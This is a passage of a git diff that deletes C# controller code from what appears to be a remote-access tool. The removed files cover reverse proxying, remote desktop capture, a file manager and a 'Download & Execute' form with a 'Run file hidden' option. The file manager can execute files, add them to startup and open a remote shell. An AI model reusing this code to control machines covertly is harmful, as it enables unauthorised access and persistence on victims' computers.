xServer.Core.ReverseProxy.Packets; - -namespace xServer.Core.ReverseProxy -{ - public class ReverseProxyCommandHandler - { - public static void HandleCommand(Client client, IPacket packet) - { - var type = packet.GetType(); - if (type == typeof (ReverseProxyConnectResponse)) - { - ReverseProxyConnectResponse response = (ReverseProxyConnectResponse) packet; - if (client.Value.ProxyServer != null) - { - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(response.ConnectionId); - if (socksClient != null) - { - socksClient.HandleCommandResponse(response); - } - } - } - else if (type == typeof (ReverseProxyData)) - { - ReverseProxyData dataCommand = (ReverseProxyData) packet; - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(dataCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.SendToClient(dataCommand.Data); - } - } - else if (type == typeof (ReverseProxyDisconnect)) - { - ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect) packet; - ReverseProxyClient socksClient = - client.Value.ProxyServer.GetClientByConnectionId(disconnectCommand.ConnectionId); - - if (socksClient != null) - { - socksClient.Disconnect(); - } - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Utilities/FileSplit.cs b/Server/Core/Utilities/FileSplit.cs deleted file mode 100644 index c0ad20b4a..000000000 --- a/Server/Core/Utilities/FileSplit.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.IO; - -namespace xServer.Core.Utilities -{ - public class FileSplit - { - private int _maxBlocks; - private readonly object _fileStreamLock = new object(); - private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; private set; } - public string LastError { get; private set; } - - public int MaxBlocks - { - get - { - if (this._maxBlocks > 0 || this._maxBlocks == -1) - return this._maxBlocks; - try - { - FileInfo fInfo = new FileInfo(this.Path); - - if (!fInfo.Exists) - throw new FileNotFoundException(); - - this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); - } - catch (UnauthorizedAccessException) - { - this._maxBlocks = -1; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - this._maxBlocks = -1; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - if (ex is PathTooLongException) - this.LastError = "Path is too long"; - } - - return this._maxBlocks; - } - } - - public FileSplit(string path) - { - this.Path = path; - } - - private int GetSize(long length) - { - return (length < MAX_BLOCK_SIZE) ? (int) length : MAX_BLOCK_SIZE; - } - - public bool ReadBlock(int blockNumber, out byte[] readBytes) - { - try - { - if (blockNumber > this.MaxBlocks) - throw new ArgumentOutOfRangeException(); - - lock (_fileStreamLock) - { - using (FileStream fStream = File.OpenRead(this.Path)) - { - if (blockNumber == 0) - { - fStream.Seek(0, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - else - { - fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - } - } - - return true; - } - catch (ArgumentOutOfRangeException) - { - readBytes = new byte[0]; - this.LastError = "BlockNumber bigger than MaxBlocks"; - } - catch (UnauthorizedAccessException) - { - readBytes = new byte[0]; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - readBytes = new byte[0]; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to read from File Stream"; - } - - return false; - } - - public bool AppendBlock(byte[] block, int blockNumber) - { - try - { - if (!File.Exists(this.Path) && blockNumber > 0) - throw new FileNotFoundException(); // previous file got deleted somehow, error - - lock (_fileStreamLock) - { - if (blockNumber == 0) - { - using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) - { - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - - return true; - } - - using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) - { - fStream.Seek(blockNumber*MAX_BLOCK_SIZE, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - } - - return true; - } - catch (UnauthorizedAccessException) - { - this.LastError = "Access denied"; - } - catch (IOException ex) - { - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to write to File Stream"; - } - - return false; - } - } -} \ No newline at end of file diff --git a/Server/Core/Utilities/NativeMethods.cs b/Server/Core/Utilities/NativeMethods.cs deleted file mode 100644 index 008b888cc..000000000 --- a/Server/Core/Utilities/NativeMethods.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace xServer.Core.Utilities -{ - /// - /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). - /// - public static class NativeMethods - { - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] - public struct LVITEM - { - public int mask; - public int iItem; - public int iSubItem; - public int state; - public int stateMask; - [MarshalAs(UnmanagedType.LPTStr)] - public string pszText; - public int cchTextMax; - public int iImage; - public IntPtr lParam; - public int iIndent; - public int iGroupId; - public int cColumns; - public IntPtr puColumns; - }; - - [DllImport("user32.dll")] - public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, int wParam, int lParam); - - [DllImport("user32.dll")] - public static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk); - - [DllImport("user32.dll")] - public static extern bool UnregisterHotKey(IntPtr hWnd, int id); - - [DllImport("user32.dll", EntryPoint = "SendMessage", CharSet = CharSet.Auto)] - public static extern IntPtr SendMessageLVItem(IntPtr hWnd, int msg, int wParam, ref LVITEM lvi); - - [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] - public extern static int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern int memcpy(IntPtr dst, IntPtr src, uint count); - - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe int memcpy(void* dst, void* src, uint count); - } -} diff --git a/Server/Core/Utilities/UnsafeStreamCodec.cs b/Server/Core/Utilities/UnsafeStreamCodec.cs deleted file mode 100644 index 9d7c55dec..000000000 --- a/Server/Core/Utilities/UnsafeStreamCodec.cs +++ /dev/null @@ -1,370 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using xServer.Core.Compression; - -namespace xServer.Core.Utilities -{ - public class UnsafeStreamCodec : IDisposable - { - public int Monitor { get; private set; } - public string Resolution { get; private set; } - public Size CheckBlock { get; private set; } - public int ImageQuality - { - get { return _imageQuality; } - private set - { - lock (_imageProcessLock) - { - _imageQuality = value; - - if (_jpgCompression != null) - { - _jpgCompression.Dispose(); - } - - _jpgCompression = new JpgCompression(_imageQuality); - } - } - } - - private int _imageQuality; - private byte[] _encodeBuffer; - private Bitmap _decodedBitmap; - private PixelFormat _encodedFormat; - private int _encodedWidth; - private int _encodedHeight; - private readonly object _imageProcessLock = new object(); - private JpgCompression _jpgCompression; - - /// - /// Initialize a new instance of UnsafeStreamCodec class. - /// - /// The quality to use between 0-100. - /// The monitor used for the images. - /// The resolution of the monitor. - public UnsafeStreamCodec(int imageQuality, int monitor, string resolution) - { - this.ImageQuality = imageQuality; - this.Monitor = monitor; - this.Resolution = resolution; - this.CheckBlock = new Size(50, 1); - } - - public void Dispose() - { - Dispose(true); - - // Tell the Garbage Collector to not waste time finalizing this object - // since we took care of it. - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - if (disposing) - { - if (_decodedBitmap != null) - { - _decodedBitmap.Dispose(); - } - - if (_jpgCompression != null) - { - _jpgCompression.Dispose(); - } - } - } - - public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, - Stream outStream) - { - lock (_imageProcessLock) - { - byte* pScan0 = (byte*) scan0.ToInt32(); - - if (!outStream.CanWrite) - { - throw new Exception("Must have access to Write in the Stream"); - } - - int stride = 0; - int rawLength = 0; - int pixelSize = 0; - - switch (format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - pixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - pixelSize = 4; - break; - default: - throw new NotSupportedException(format.ToString()); - } - - stride = imageSize.Width*pixelSize; - rawLength = stride*imageSize.Height; - - if (_encodeBuffer == null) - { - this._encodedFormat = format; - this._encodedWidth = imageSize.Width; - this._encodedHeight = imageSize.Height; - this._encodeBuffer = new byte[rawLength]; - - fixed (byte* ptr = _encodeBuffer) - { - byte[] temp = null; - using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) - { - temp = _jpgCompression.Compress(tmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint) rawLength); - } - return; - } - - if (this._encodedFormat != format) - { - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) - { - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - long totalDataLength = 0; - - List blocks = new List(); - - Size s = new Size(scanArea.Width, CheckBlock.Height); - Size lastSize = new Size(scanArea.Width%CheckBlock.Width, scanArea.Height%CheckBlock.Height); - - int lasty = scanArea.Height - lastSize.Height; - int lastx = scanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - s = new Size(scanArea.Width, s.Height); - - fixed (byte* encBuffer = _encodeBuffer) - { - var index = 0; - - for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) - { - if (y == lasty) - { - s = new Size(scanArea.Width, lastSize.Height); - } - - cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); - - int offset = (y*stride) + (scanArea.X*pixelSize); - - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) - { - index = blocks.Count - 1; - - if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, - blocks[index].Height + cBlock.Height); - blocks[index] = cBlock; - } - else - { - blocks.Add(cBlock); - } - } - } - - for (int i = 0; i < blocks.Count; i++) - { - s = new Size(CheckBlock.Width, blocks[i].Height); - - for (int x = scanArea.X; x != scanArea.Width; x += s.Width) - { - if (x == lastx) - { - s = new Size(lastSize.Width, blocks[i].Height); - } - - cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); - bool foundChanges = false; - uint blockStride = (uint) (pixelSize*cBlock.Width); - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (stride*(cBlock.Y + j)) + (pixelSize*cBlock.X); - - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) - { - foundChanges = true; - } - - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); - //copy-changes - } - - if (foundChanges) - { - index = finalUpdates.Count - 1; - - if (finalUpdates.Count > 0 && - (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - } - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = pixelSize*rect.Width; - - Bitmap tmpBmp = null; - BitmapData tmpData = null; - long length; - - try - { - tmpBmp = new Bitmap(rect.Width, rect.Height, format); - tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), - ImageLockMode.ReadWrite, tmpBmp.PixelFormat); - - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (stride*(rect.Y + j)) + (pixelSize*rect.X); - NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); - //copy-changes - offset += blockStride; - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - length = outStream.Length; - long old = outStream.Position; - - _jpgCompression.Compress(tmpBmp, ref outStream); - - length = outStream.Position - length; - - outStream.Position = old - 4; - outStream.Write(BitConverter.GetBytes(length), 0, 4); - outStream.Position += length; - } - finally - { - tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - } - - totalDataLength += length + (4*5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); - } - } - - public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length) - { - if (length < 4) - { - return _decodedBitmap; - } - - int dataSize = *(int*) (codecBuffer); - - if (_decodedBitmap == null) - { - byte[] temp = new byte[dataSize]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize); - } - - this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp)); - - return _decodedBitmap; - } - else - { - return _decodedBitmap; - } - } - - public Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int dataSize = BitConverter.ToInt32(temp, 0); - - if (_decodedBitmap == null) - { - temp = new byte[dataSize]; - inStream.Read(temp, 0, temp.Length); - this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp)); - - return _decodedBitmap; - } - - using (Graphics g = Graphics.FromImage(_decodedBitmap)) - { - while (dataSize > 0) - { - byte[] tempData = new byte[4*5]; - inStream.Read(tempData, 0, tempData.Length); - - Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int updateLen = BitConverter.ToInt32(tempData, 16); - - byte[] buffer = new byte[updateLen]; - inStream.Read(buffer, 0, buffer.Length); - - using (MemoryStream m = new MemoryStream(buffer)) - { - using (Bitmap tmp = (Bitmap) Image.FromStream(m)) - { - g.DrawImage(tmp, rect.Location); - } - } - - dataSize -= updateLen + (4*5); - } - } - - return _decodedBitmap; - } - } -} \ No newline at end of file diff --git a/Server/Enums/ShutdownAction.cs b/Server/Enums/ShutdownAction.cs deleted file mode 100644 index 3923228ab..000000000 --- a/Server/Enums/ShutdownAction.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace xServer.Enums -{ - public enum ShutdownAction - { - Shutdown, - Restart, - Standby - } -} diff --git a/Server/Enums/UserStatus.cs b/Server/Enums/UserStatus.cs deleted file mode 100644 index 6232585d9..000000000 --- a/Server/Enums/UserStatus.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace xServer.Enums -{ - public enum UserStatus - { - Idle, - Active - } -} diff --git a/Server/Forms/FrmDownloadAndExecute.Designer.cs b/Server/Forms/FrmDownloadAndExecute.Designer.cs deleted file mode 100644 index ada4adc2c..000000000 --- a/Server/Forms/FrmDownloadAndExecute.Designer.cs +++ /dev/null @@ -1,105 +0,0 @@ -namespace xServer.Forms -{ - partial class FrmDownloadAndExecute - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmDownloadAndExecute)); - this.btnDownloadAndExecute = new System.Windows.Forms.Button(); - this.txtURL = new System.Windows.Forms.TextBox(); - this.lblURL = new System.Windows.Forms.Label(); - this.chkRunHidden = new System.Windows.Forms.CheckBox(); - this.SuspendLayout(); - // - // btnDownloadAndExecute - // - this.btnDownloadAndExecute.Location = new System.Drawing.Point(246, 37); - this.btnDownloadAndExecute.Name = "btnDownloadAndExecute"; - this.btnDownloadAndExecute.Size = new System.Drawing.Size(138, 23); - this.btnDownloadAndExecute.TabIndex = 3; - this.btnDownloadAndExecute.Text = "Download && Execute"; - this.btnDownloadAndExecute.UseVisualStyleBackColor = true; - this.btnDownloadAndExecute.Click += new System.EventHandler(this.btnDownloadAndExecute_Click); - // - // txtURL - // - this.txtURL.Location = new System.Drawing.Point(48, 6); - this.txtURL.Name = "txtURL"; - this.txtURL.Size = new System.Drawing.Size(336, 22); - this.txtURL.TabIndex = 1; - // - // lblURL - // - this.lblURL.AutoSize = true; - this.lblURL.Location = new System.Drawing.Point(12, 9); - this.lblURL.Name = "lblURL"; - this.lblURL.Size = new System.Drawing.Size(30, 13); - this.lblURL.TabIndex = 0; - this.lblURL.Text = "URL:"; - // - // chkRunHidden - // - this.chkRunHidden.AutoSize = true; - this.chkRunHidden.Location = new System.Drawing.Point(48, 41); - this.chkRunHidden.Name = "chkRunHidden"; - this.chkRunHidden.Size = new System.Drawing.Size(106, 17); - this.chkRunHidden.TabIndex = 2; - this.chkRunHidden.Text = "Run file hidden"; - this.chkRunHidden.UseVisualStyleBackColor = true; - // - // FrmDownloadAndExecute - // - this.AcceptButton = this.btnDownloadAndExecute; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(396, 72); - this.Controls.Add(this.chkRunHidden); - this.Controls.Add(this.lblURL); - this.Controls.Add(this.txtURL); - this.Controls.Add(this.btnDownloadAndExecute); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmDownloadAndExecute"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Download & Execute []"; - this.Load += new System.EventHandler(this.FrmDownloadAndExecute_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button btnDownloadAndExecute; - private System.Windows.Forms.TextBox txtURL; - private System.Windows.Forms.Label lblURL; - private System.Windows.Forms.CheckBox chkRunHidden; - } -} \ No newline at end of file diff --git a/Server/Forms/FrmDownloadAndExecute.cs b/Server/Forms/FrmDownloadAndExecute.cs deleted file mode 100644 index 4f0866d5c..000000000 --- a/Server/Forms/FrmDownloadAndExecute.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.Windows.Forms; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Utilities; - -namespace xServer.Forms -{ - public partial class FrmDownloadAndExecute : Form - { - private readonly int _selectedClients; - - public FrmDownloadAndExecute(int selected) - { - _selectedClients = selected; - InitializeComponent(); - } - - private void btnDownloadAndExecute_Click(object sender, EventArgs e) - { - DownloadAndExecute.URL = txtURL.Text; - DownloadAndExecute.RunHidden = chkRunHidden.Checked; - - this.DialogResult = DialogResult.OK; - this.Close(); - } - - private void FrmDownloadAndExecute_Load(object sender, EventArgs e) - { - this.Text = WindowHelper.GetWindowTitle("Download & Execute", _selectedClients); - txtURL.Text = DownloadAndExecute.URL; - chkRunHidden.Checked = DownloadAndExecute.RunHidden; - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs deleted file mode 100644 index 35742060c..000000000 --- a/Server/Forms/FrmFileManager.cs +++ /dev/null @@ -1,644 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Threading; -using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Utilities; -using xServer.Enums; - -namespace xServer.Forms -{ - public partial class FrmFileManager : Form - { - private string _currentDir; - private readonly Client _connectClient; - private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file uploads - public Dictionary CanceledUploads = new Dictionary(); - - private const int TRANSFER_ID = 0; - private const int TRANSFER_TYPE = 1; - private const int TRANSFER_STATUS = 2; - - public FrmFileManager(Client c) - { - _connectClient = c; - _connectClient.Value.FrmFm = this; - InitializeComponent(); - } - - private string GetAbsolutePath(string item) - { - return Path.GetFullPath(Path.Combine(_currentDir, item)); - } - - private void FrmFileManager_Load(object sender, EventArgs e) - { - if (_connectClient != null) - { - this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); - new Core.Packets.ServerPackets.GetDrives().Execute(_connectClient); - } - } - - private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) - { - if (_connectClient.Value != null) - _connectClient.Value.FrmFm = null; - } - - private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e) - { - if (_connectClient != null && _connectClient.Value != null) - { - SetCurrentDir(cmbDrives.SelectedValue.ToString()); - RefreshDirectory(); - } - } - - private void lstDirectory_DoubleClick(object sender, EventArgs e) - { - if (_connectClient != null && _connectClient.Value != null && lstDirectory.SelectedItems.Count > 0) - { - PathType type = (PathType) lstDirectory.SelectedItems[0].Tag; - - switch (type) - { - case PathType.Back: - SetCurrentDir(Path.GetFullPath(Path.Combine(_currentDir, @"..\"))); - RefreshDirectory(); - break; - case PathType.Directory: - SetCurrentDir(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); - RefreshDirectory(); - break; - } - } - } - - private void downloadToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem files in lstDirectory.SelectedItems) - { - PathType type = (PathType)files.Tag; - - if (type == PathType.File) - { - string path = GetAbsolutePath(files.SubItems[0].Text); - - int id = FileHelper.GetNewTransferId(files.Index); - - if (_connectClient != null) - { - new Core.Packets.ServerPackets.DoDownloadFile(path, id).Execute(_connectClient); - - AddTransfer(id, "Download", "Pending...", files.SubItems[0].Text); - } - } - } - } - - private void uploadToolStripMenuItem_Click(object sender, EventArgs e) - { - using (var ofd = new OpenFileDialog()) - { - ofd.Title = "Select files to upload"; - ofd.Filter = "All files (*.*)|*.*"; - ofd.Multiselect = true; - - if (ofd.ShowDialog() == DialogResult.OK) - { - var remoteDir = _currentDir; - foreach (var filePath in ofd.FileNames) - { - if (!File.Exists(filePath)) continue; - - string path = filePath; - new Thread(() => - { - int id = FileHelper.GetNewTransferId(); - - if (string.IsNullOrEmpty(path)) return; - - AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path)); - - int index = GetTransferIndex(id); - if (index < 0) - return; - - FileSplit srcFile = new FileSplit(path); - if (srcFile.MaxBlocks < 0) - { - UpdateTransferStatus(index, "Error reading file", 0); - return; - } - - string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); - - if (string.IsNullOrEmpty(remotePath)) return; - - _limitThreads.WaitOne(); - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) - { - _limitThreads.Release(); - return; // abort upload when from is closed or client disconnected - } - - if (CanceledUploads.ContainsKey(id)) - { - UpdateTransferStatus(index, "Canceled", 0); - _limitThreads.Release(); - return; - } - - index = GetTransferIndex(id); - if (index < 0) - { - _limitThreads.Release(); - return; - } - - decimal progress = - Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); - - UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1); - - byte[] block; - if (srcFile.ReadBlock(currentBlock, out block)) - { - new Core.Packets.ServerPackets.DoUploadFile(id, - remotePath, block, srcFile.MaxBlocks, - currentBlock).Execute(_connectClient); - } - else - { - UpdateTransferStatus(index, "Error reading file", 0); - _limitThreads.Release(); - return; - } - } - _limitThreads.Release(); - - if (remoteDir == _currentDir) - RefreshDirectory(); - - UpdateTransferStatus(index, "Completed", 1); - }).Start(); - } - } - } - } - - private void executeToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem files in lstDirectory.SelectedItems) - { - PathType type = (PathType) files.Tag; - - if (type == PathType.File) - { - string path = GetAbsolutePath(files.SubItems[0].Text); - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoProcessStart(path).Execute(_connectClient); - } - } - } - - private void renameToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem files in lstDirectory.SelectedItems) - { - PathType type = (PathType)files.Tag; - - switch (type) - { - case PathType.Directory: - case PathType.File: - string path = GetAbsolutePath(files.SubItems[0].Text); - string newName = files.SubItems[0].Text; - - if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) - { - newName = GetAbsolutePath(newName); - - if (_connectClient != null) - new Core.Packets.ServerPackets.DoPathRename(path, newName, type).Execute(_connectClient); - } - break; - } - } - } - - private void deleteToolStripMenuItem_Click(object sender, EventArgs e) - { - int count = lstDirectory.SelectedItems.Count; - if (count == 0) return; - if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count), - "Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) - { - foreach (ListViewItem files in lstDirectory.SelectedItems) - { - PathType type = (PathType)files.Tag; - - switch (type) - { - case PathType.Directory: - case PathType.File: - string path = GetAbsolutePath(files.SubItems[0].Text); - if (_connectClient != null) - new Core.Packets.ServerPackets.DoPathDelete(path, type).Execute(_connectClient); - break; - } - } - } - } - - private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem files in lstDirectory.SelectedItems) - { - PathType type = (PathType)files.Tag; - - if (type == PathType.File) - { - string path = GetAbsolutePath(files.SubItems[0].Text); - - using (var frm = new FrmAddToAutostart(path)) - { - if (frm.ShowDialog() == DialogResult.OK) - { - if (_connectClient != null) - new Core.Packets.ServerPackets.DoStartupItemAdd(AutostartItem.Name, AutostartItem.Path, - AutostartItem.Type).Execute(_connectClient); - } - } - } - } - } - - private void refreshToolStripMenuItem_Click(object sender, EventArgs e) - { - RefreshDirectory(); - } - - private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) - { - if (_connectClient != null) - { - string path = _currentDir; - if (lstDirectory.SelectedItems.Count == 1) - { - var item = lstDirectory.SelectedItems[0]; - PathType type = (PathType)item.Tag; - - if (type == PathType.Directory) - { - path = GetAbsolutePath(item.SubItems[0].Text); - } - } - - if (_connectClient.Value.FrmRs != null) - { - new Core.Packets.ServerPackets.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient); - _connectClient.Value.FrmRs.Focus(); - } - else - { - FrmRemoteShell frmRS = new FrmRemoteShell(_connectClient); - frmRS.Show(); - new Core.Packets.ServerPackets.DoShellExecute(string.Format("cd \"{0}\"", path)).Execute(_connectClient); - } - } - } - - private void btnOpenDLFolder_Click(object sender, EventArgs e) - { - if (!Directory.Exists(_connectClient.Value.DownloadDirectory)) - Directory.CreateDirectory(_connectClient.Value.DownloadDirectory); - - Process.Start(_connectClient.Value.DownloadDirectory); - } - - private void cancelToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem transfer in lstTransfers.SelectedItems) - { - if (!transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Downloading") && - !transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Uploading") && - !transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Pending")) continue; - - int id = int.Parse(transfer.SubItems[TRANSFER_ID].Text); - - if (transfer.SubItems[TRANSFER_TYPE].Text == "Download") - { - if (_connectClient != null) - new Core.Packets.ServerPackets.DoDownloadFileCancel(id).Execute(_connectClient); - if (!CommandHandler.CanceledDownloads.ContainsKey(id)) - CommandHandler.CanceledDownloads.Add(id, "canceled"); - if (CommandHandler.RenamedFiles.ContainsKey(id)) - CommandHandler.RenamedFiles.Remove(id); - UpdateTransferStatus(transfer.Index, "Canceled", 0); - } - else if (transfer.SubItems[TRANSFER_TYPE].Text == "Upload") - { - if (!CanceledUploads.ContainsKey(id)) - CanceledUploads.Add(id, "canceled"); - UpdateTransferStatus(transfer.Index, "Canceled", 0); - } - } - } - - private void clearToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (ListViewItem transfer in lstTransfers.Items) - { - if (transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Downloading") || - transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Uploading") || - transfer.SubItems[TRANSFER_STATUS].Text.StartsWith("Pending")) continue; - transfer.Remove(); - } - } - - private void lstDirectory_DragEnter(object sender, DragEventArgs e) - { - if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files - e.Effect = DragDropEffects.Copy; - } - - 